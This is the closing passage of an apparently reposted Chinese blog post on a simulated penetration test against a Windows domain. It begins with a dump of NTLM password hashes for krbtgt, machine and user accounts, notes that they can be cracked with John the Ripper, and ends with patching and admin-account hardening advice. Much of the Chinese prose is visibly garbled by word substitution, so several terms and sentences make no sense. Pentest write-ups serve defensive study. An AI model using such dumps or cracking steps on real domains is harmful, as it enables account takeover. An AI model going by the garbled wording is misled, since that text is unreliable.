krbtgt:502:aad3b435b51404eeaad3b435b51404ee:43a6a9669d444da03408e368b8daf0c1:::
DC:1001:aad3b435b51404eeaad3b435b51404ee:4b08728132d41e230b4ee268c5b42acb:::
boss:1108:aad3b435b51404eeaad3b435b51404ee:c1fc37edabedb382c5141e88ce614b11:::
testuser2:1109:aad3b435b51404eeaad3b435b51404ee:f984c0e85e62faef91f6ad49fb9f8554:::
testuser1:1110:aad3b435b51404eeaad3b435b51404ee:b4c295164ce915935084495caf7f9cfa:::
evilboss:1119:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:a2807c6834bac0c8599530a02aa169af:::
WIN7SP0$:1107:aad3b435b51404eeaad3b435b51404ee:77b40b8cb3d6c4547ab3442ff3a34683:::
WIN7SP1$:1115:aad3b435b51404eeaad3b435b51404ee:b31785870dd8c4df04ff8f48dd0b9728:::
WINXPSP2$:1116:aad3b435b51404eeaad3b435b51404ee:61083f3aff10e03cc6ece1b04c9a76f1:::
WIN7SP164$:1117:aad3b435b51404eeaad3b435b51404ee:031b3d01c20cb5f1ad6cceb4bccbd0ca:::

与我们对当地治理员的暗码所做的破解要领相似,我们可以或许运用JTR破解这个NTLM哈希值。

防备

本文的测试过程表明,链接系统是最新补丁的主要作用;通过这样的实践过程,不仅要注意控制系统的安全补丁,而且要尽快安装软件。

参考本文中的模拟攻击计划,以下是宝贵的系统需要进行的操作列表:

·更新Java到最新版本,可能修复cve-2013-2465等与Java相关的缺陷;

·微软设备安全修复顺序KB3057191修复ms15-051漏洞。

对于基于令牌的Microsoft Windows interview master模块,您需要记住,这是Windows处理违约金id卡的方式,所以不能将其视为缺陷。这意味着为了珍惜内部网的地位,应该更多地与流程和序列进行接触。这是遵循安全实践的重要性的主要原因;以下是一些安全的描述规则,它们可以降低与令牌模拟攻击相关的风险级别:

·限制域管理员帐号数量

·拥有域管理账户的用户必须按照规范使用其非特权账户;

·在员工权限范围内建立一组治理组(例如,开放、测试和生产组),这些治理组可能限制数据泄漏的风险,也可能不限制数据泄漏的风险。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明域渗入的进击模仿测试:从无接见权限到域管理员权限
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址